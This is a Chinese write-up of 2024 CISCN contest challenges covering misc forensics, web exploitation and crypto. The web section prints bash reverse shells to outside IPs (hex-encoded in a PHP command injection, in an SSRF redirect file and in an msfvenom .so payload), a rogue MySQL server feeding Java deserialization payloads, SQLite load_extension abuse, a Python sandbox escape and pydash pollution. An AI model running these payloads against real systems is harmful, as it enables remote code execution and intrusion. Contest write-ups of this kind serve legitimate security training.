首页 > 其他分享 >2024 ciscn WP

2024 ciscn WP

时间:2024-10-04 22:49:13浏览次数:8  
标签:__ ciscn 2024 flag key WP print import data

一、MISC

1.火锅链观光打卡

打开后连接自己的钱包,然后点击开始游戏,答题八次后点击获取NFT,得到有flag的图片

没什么多说的,知识问答题

兑换 NFT

Flag{y0u_ar3_hotpot_K1ng}

2.Power Trajectory Diagram

方法1:使用py中的numpy和pandas库读取npz文件并保存为csv文件,代码如下:import numpy as npimport pandas as pdnp.set_printoptions(threshold=np.inf)a1 = np.load('attachment.npz', allow_pickle=True)print(a1.files)print('read:', a1)index = a1['index']myin = a1['input']myout = a1['output']mytra = a1['trace']# print(mytra.shape)df = pd.DataFrame(mytra)df.to_csv('data1.csv', index=False)df1 = pd.DataFrame({'index':index, 'input': myin})df1.to_csv('data2.csv', index=False)得到data1.csv、data2.csv,合并得到data.csv。
打开data.csv,可以看到功耗数据,根据https://zhuanlan.zhihu.com/p/157585244,我认为该题的关键是在于找到与其它字符不同的字符,就是该index的正确密码。基于此,利用Excel的折线图功能,例如第四个字符,如图所示:在这里插入图片描述

可以看出,有一条绿色线与其它线都不同,为c,所以第四个字符就是c。

依次重复,得到整个密钥:_ciscn_2024_

即flag:flag{_ciscn_2024_}

方法2:测试代码:import numpy as npimport matplotlibimport matplotlib.pyplot as pltmatplotlib.use('tkAgg')data = np.load("./attachment.npz")print(data.files)aa = data[data.files[0]]bb = data[data.files[1]]cc = data[data.files[2]]dd = data[data.files[3]]print(len(aa), aa)print(len(bb), bb)print(len(cc), cc)print(len(dd), dd) for i in range(len(dd)):    plt.scatter([i for i in range(len(dd[i]))], dd[i])    plt.show()从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。input是一个表output 为空trace 里的数据都是小数尝试对 trace 里的数据画点图:发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:
import numpy as npdata = np.load("./attachment.npz")dd = data[data.files[3]] for i in range(len(dd)):    min_index = np.argmin(dd[i])    print(f"Minimum index for group {i}: {min_index}")除了最后一组数据全为 985,其余数据中都有其他不同的数字用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:exp:
import numpy as npimport matplotlib.pyplot as plt f = np.load('./attachment.npz')index = f['index']ip = f['input']tr = f['trace'] flag = ""for _ in range(13):    t = []    table = ip[40*_:40*(_+1)]    for i in range(40):        # 每个列表画一个散点图,发现最小值        # plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])        # plt.show()         # 获取该列表的最小值的下标        min = np.argmin(tr[_*40+i])         # 将最小值的下标插入新列表        t.append(min)     # 用 40 个列表的最小值的下标作为数据,画图,发现有最大值    for i in range(len(t)):        plt.scatter([i for i in range(len(t))], np.array(t))        plt.show()     # 求最大值的下标    mins = np.argmax(t)     # 用下标从表里取字符    ind = table[mins]    # 把字符加到flag里    flag += indprint(flag)

得到:_ciscn_2024_a由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算去掉 a 得到最终flag为:flag{_ciscn_2024_}

3.神秘的文件

方法1:究极套娃,看的眼睛都要花了,真就纯找。得到PPT文件,直接改后缀为.zip去找part1在docProps目录下的两个xml中,app.xml提示了解密算法,core.xml提示了密文和密钥key,直接上赛博imageimagepart2在ppt/embeddings文件夹下的docx中,从PPT打开的话就是第二章左上角那块黑色的,双击就行,打开后全选,改字体大小,改颜色,凯撒偏移量10解密,然后base64解密,得到part2
imageimagepart3在vbaProject.bin中,这个真的找了好久,后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系,叫VBA工程解密。先010打开vbaProject.bin,找DPB字节,把最后一位改成x,然后保存,之后改后缀为.zip,直接打开会发现其中内涵的文件,打开VBA文件夹下的模块一image发现一段密文,不知道是啥但是提示是base64之后的,那就先解密呗,然后得到乱码,一般这种特殊字符多的不是RC4就是rot,最后发现是无密码RC4解密,然后再解一层base64imagepart4直接打开PPT(因为它是由media文件夹下的图片拼成的),第三张,好像是要选可见隐藏字符,因为我电脑自动默认选的所以直接可以看,base64解码imagepart5是在第五章ppt的注释中,直接赛博厨师帽跑,多层base64解码,得到第五部分imagepart6是在第五张PPT正文边界的左上角,把它界面缩放或者直接拆media文件夹都可以,base64解码imagepart7是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解码image
part8在slideLayout2.xml中,南平,最开始没理解最后是啥意思,连一起了才看懂。。。。,就是要除去上面字符串中的Bb13。。。然后base64解码imageimagepart9直接在media文件夹下,看那个猫人的图片左下角,base64解码image
part10在comment1.xml中,维吉尼亚解码,密钥是furryimage
总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9} 方法2:先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可PPT 里面找到了很多东西:改zip后缀,在 world 文档里有发现:图片:总共可以得到:part2:675efbPayt4:6f-40pArt5:5f-90dParT6:d-2parT9:deHPARt10:9}下面的一些就需要更加仔细了:在压缩包里找到了二进制文件i13POMdzEAzHfy4dGS+vUA==这里是 base64+RC4+base64得到 PArt3:3-34ppt 文件属性:密文:QFCfpPQ6ZymuM3gq加密方式:bifld Key:lanjing;得到Part1:flag{eppt母版:去掉Bb13后解 base64得到 paRt8:87e选择窗格:Rot13+base64得到PART7=22b3拼接得到最终 flag:flag{e675efb3-346f-405f-90dd-222b387edee9}

4.大学生安全测试能力调研问卷

填问卷

5.通风机

方法1:得到mwp文件,010打开补全前三位文件头,使用V4.0 STEP 7 MicroWIN SP9打开,每个地方都看看,之前没见过,最后在符号表中找到flagimagebase64解码后得到flagimage方法2:使用binwalk可以分离出一个zlib文件,使用python解压,代码如下:import zlib
def decompress_zlib_file(input_filename, output_filename):    with open(input_filename, 'rb') as compressed_file:        compressed_data = compressed_file.read()        decompressed_data = zlib.decompress(compressed_data)
    with open(output_filename, 'wb') as output_file:        output_file.write(decompressed_data)
# Example usageinput_file = '35.zlib'output_file = 'decompressed_data.txt'decompress_zlib_file(input_file, output_file)用Winhex 打开 decompressed_data.txt,可以看到经过base64编码后的flag。在这里插入图片描述
解码得到flag:在这里插入图片描述

6.盗版软件

两个文件

第一个dmp改后缀为data,用gimp2调一下参数得到域名

winhack.com

之后找ip,微步找释放文件

dump下来,loader没啥用,看output.png

发现有个zip,提取出来


发现是base85,解密之后,觉得是shellcode,改后缀为bin放微步跑得到ip


winhack.com39.100.72.235






7.DNS

发现域名很多二进制,提取出来转二维码,CQR扫一下

得到一段密码

之后继续看

发现有两种流

dns.id==0x6421
dns.id==0x4500

分别提取,一个得到压缩包,压缩包用二维码得到的解密

另一个得到乱码,file一下发现压缩包得到是pgp

不知道key,看题目描述,经过尝试发现rev+hex+rev可以成功import

之后把乱码文件处理一下,decrypt


二、WEB

1.Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?直接给了源码image-20240518112723996

paste或者rev可以读文件发现一个异常情况,具有mysql用户,或许可以从这里入手image-20240518112905906看出mysql服务开启cmd=mysql --versionimage-20240518115837118ps -aux命令执行结果可以确认靶机有mysql服务同时根目录下没有flagBURP发包cmd=l%0as /image-20240518113950815为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));image-20240518134618734mysql -uroot -proot -e "show databases;"mysql -uroot -proot -e "use PHP_CMS;show tables;"mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"image-20240518134518410

2.easycms

题目描述:简单的cms,可以扫扫看?hint:提示1: /flag.php: if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){   echo "Just input 'cmd' From 127.0.0.1";   return;}else{   system($_GET['cmd']);}提示2:github找一下源码?敏感目录:/flag.php/install.php/Readme.txt/Readme.txt是乱码,在线恢复一下image-20240518134956796迅睿CMS官方下载地址:https://www.xunruicms.com/down/#### 安装路径将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?安装环境监测�?/test.php程序安装地址�?/install.php后台登录地址�?/admin****.php�?****是随机的�?重置后台地址:https://www.xunruicms.com/doc/1097.html首次使用方法:https://www.xunruicms.com/doc/631.html#### 运行环境Laravel内核:PHP8.0及以�?ThinkPHP内核:PHP7.4及以�?CodeIgniter内核:PHP7.4及以�?CodeIgniter72内核:PHP7.2及以�?MySQL数据库:MySQL5及以上,推荐5.7及以�?#### 内核切换方法https://www.xunruicms.com/doc/1246.html无法重新安装image-20240518140745852hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)image-20240518201503234

定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数thumb参数可控image-20240519182749703定位xunruicms-master\dayrui\Fcms\Core\Helper.phpdr_catcher_data函数存在SSRFimage-20240519182910561302.php,拿不到回显所以只能反弹shell<?php    //header("HTTP/1.1 302 found");     //header("Location:http://127.0.0.1:1337/flag");    //header("Location:file:///etc/passwd");    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");    exit();?>payload:/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php

image-20240518164531870

3.easycms_revenge

和上题一样,改一下302.php的内容GIF89a<html><?phpheader("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?></html>
这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹

4.ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode
依赖里有AspectJWeaver,打任意文件写入https://blog.csdn.net/uuzeray/article/details/136595841
后续还可以配合sqlite加载恶意so文件https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md然后AJ链子的入口要调用map.put自定义类UserBean#readObject就可以配合利用
 最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件

生成恶意so文件msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
 将生成的恶意序列化数据写入output.ser
package com.example.jdbctest.exp; import com.example.jdbctest.bean.UserBean;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64; public class EXP {    // 获取指定类的第一个构造函数,并设置为可访问    public static Constructor<?> getCtor(final String name) throws Exception {        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];        ctor.setAccessible(true);        return ctor;    }     // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中    public static Object getObject() throws Exception {        String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so        Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录        byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节        String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码        UserBean bean = new UserBean(filename, content); // 创建UserBean实例        Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");        Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象        bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性        return bean;    }     // 序列化一个对象到字节数组    public static byte[] serialize(Object object) throws Exception {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(object);        oos.close();        return baos.toByteArray();    }     // 主函数,序列化对象并将其写入文件    public static void main(String[] args) throws Exception {        byte[] serialized = serialize(getObject()); // 序列化对象        String fileName = "output.ser"; // 输出文件名         // 使用FileOutputStream将字节数据写入文件        FileOutputStream fos = new FileOutputStream(fileName);        fos.write(serialized);        fos.close(); // 关闭文件输出流    }}
起一个恶意mysql服务,回包为恶意序列化数据
import socketimport binasciiimport os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000" def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower() def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data)) def get_payload_content():    file= r'output.ser'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")     else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'    return payload_content # 主要逻辑def run():     while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))         # 1.先发送第一个 问候报文        send_data(conn,greeting_data)         while True:            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)             #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢??                # //获取payload                payload_content=get_payload_content()                # //计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                # //计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'                send_data(conn, payload)            break 
 先利用mysql打AJ链子,写入恶意so文件
{"type":"1","url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" }

再打sqlite,指定tableName,加载写入的恶意so文件,反弹shell
{"type":"3","tableName":"(select (load_extension(\"/tmp/evil.so\")));", "url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true" } 
根目录下拿到flag

5.mossfern

考的python栈帧沙箱逃逸,获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量https://xz.aliyun.com/t/13635https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed


def getflag():    def f():        yield g.gi_frame.f_back     g = f()    frame=[x for x in g][0]    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']     code = frame.f_back.f_back.f_back.f_code     dir = gattr.dir    str = gattr.str    print(dir(code))     for i in str(code.co_consts):        print(i,end=",") getflag()

6.sanic

sanic 是一个类似flask的web框架扫目录

访问./src
from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==5.1.2  class Pollute:    def __init__(self):        pass  app = Sanic(__name__)app.static("/static/", "./static/")Session(app)  @app.route('/', methods=['GET', 'POST'])async def index(request):    return html(open('static/index.html').read())  @app.route("/login")async def login(request):    user = request.cookies.get("user")    if user.lower() == 'adm;n':        request.ctx.session['admin'] = True        return text("login success")     return text("login fail")  @app.route("/src")async def src(request):    return text(open(__file__).read())  @app.route("/admin", methods=['GET', 'POST'])async def admin(request):    if request.ctx.session.get('admin') == True:        key = request.json['key']        value = request.json['value']        if key and value and type(key) is str and '_.' not in key:            pollute = Pollute()            pydash.set_(pollute, key, value)            return text("success")        else:            return text("forbidden")     return text("forbidden")  if __name__ == '__main__':    app.run(host='0.0.0.0')
 sanic可以通过用八进制adm\073n绕过cookie
COOKIE_NAME_RESERVED_CHARS = re.compile(    '[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]')OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")QUOTE_PATTERN = re.compile(r"[\\].")
 在绕过admin后可以打pydash原型链污染,waf掉了_.


 pydash有这样一段处理
def to_path_tokens(value):    """Parse `value` into :class:`PathToken` objects."""    if pyd.is_string(value) and ("." in value or "[" in value):        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we        # support a special syntax where any string-integer surrounded by brackets is treated as a        # list index and converted to an integer.        keys = [            PathToken(int(key[1:-1]), default_factory=list)            if RE_PATH_LIST_INDEX.match(key)            else PathToken(unescape_path_key(key), default_factory=dict)            for key in filter(None, RE_PATH_KEY_DELIM.split(value))        ]    elif pyd.is_string(value) or pyd.is_number(value):        keys = [PathToken(value, default_factory=dict)]    elif value is UNSET:        keys = []    else:        keys = value     return keys  def unescape_path_key(key):    """Unescape path key."""    key = key.replace(r"\\", "\\")    key = key.replace(r"\.", r".")    return key
这段代码主要包含了两个函数,to_path_tokens 和 unescape_path_key,用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结:
1. to_path_tokens 函数
目的:将输入的 value 转换为 PathToken 对象的列表,这些对象表示数据结构中的路径点。处理逻辑:对字符串形式的路径进行分解,处理点(.)和方括号([)来区分不同的路径段。根据路径段的内容,区分处理为列表索引或字典键。对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。使用正则表达式帮助分割和识别路径中的关键部分。2. unescape_path_key 函数
目的:处理路径键中的转义字符,将转义序列转换为对应的实际字符。实现细节:替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。替换路径键中的转义点 (\.) 为点 (.)。给出脚本:
import requests url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show' s = requests.Session() s.cookies.update({    'user': '"adm\\073n"'}) s.get(url + '/login') # 开启目录浏览# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True} # 污染目录路径# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']} # r = s.post(url + '/admin', json=data)# print(r.text) # 获取flag路径# r = s.get(url + '/static/')# print(r.text)  #污染__file__,读取flag# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}# r = s.post(url + '/admin', json=data)# print(r.text)# print(s.get(url + '/src').text)

三、Crypto

1、OvO

题目描述from Crypto.Util.number import *from secret import flag
nbits = 512p = getPrime(nbits)q = getPrime(nbits)n = p * qphi = (p-1) * (q-1)while True:    kk = getPrime(128)    rr = kk + 2    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1    if gcd(e, phi) == 1:        breakm = bytes_to_long(flag)c = pow(m, e, n)
e = e >> 200 << 200print(f'n = {n}')print(f'e = {e}')print(f'c = {c}')
"""n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823"""
给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。
cop 攻击,exp:
# SageMath script to factor n and decrypt the messagen = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823 def partial_p(p0, n, bits):    PR.<x> = PolynomialRing(Zmod(n))    f = p0 + x    f = f.monic()    roots = f.small_roots(X=2^(bits+5), beta=0.3)        if roots:        x0 = roots[0]        p = gcd(p0 + x0, n)        return ZZ(p) def find_p(eh, n, bits):    RR = RealField(1000)    PR.<x> = PolynomialRing(RR)    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x    results = f.roots()        if results:        for x in results:            p_high = int(x[0]) >> 4 << 4            p = partial_p(p_high, n, bits)            if p and p != 1:                return p# Calculating rr and kk based on given e and nrr = e // nkk = rr - 2# Finding pp = find_p(e, n, 200)if p:    q = n // p    phi_n = (p - 1) * (q - 1)    # Computing the new e based on kk and rr    new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1        # Computing the private key d    d = inverse_mod(new_e, phi_n)    # Decrypting the ciphertext    m = power_mod(c, d, n)    print(bytes.fromhex(hex(m)[2:]))else:print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9三层解密:埃特巴什+base64+栅栏

拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

题目描述:ezrsa.py:from Crypto.Util.number import *from Crypto.PublicKey import RSAimport randomfrom secret import flag
m = bytes_to_long(flag)key = RSA.generate(1000)passphrase = str(random.randint(0,999999)).zfill(6).encode()output = key.export_key(passphrase=passphrase).split(b'\n')for i in range(7, 15):    output[i] = b'*' * 64with open("priv.pem", 'wb') as f:    for line in output:        f.write(line + b'\n')with open("enc.txt", 'w') as f:    f.write(str(key._encrypt(m)))
enc.txt:55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989priv.pem:-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: DES-EDE3-CBC,435BF84C562FE793
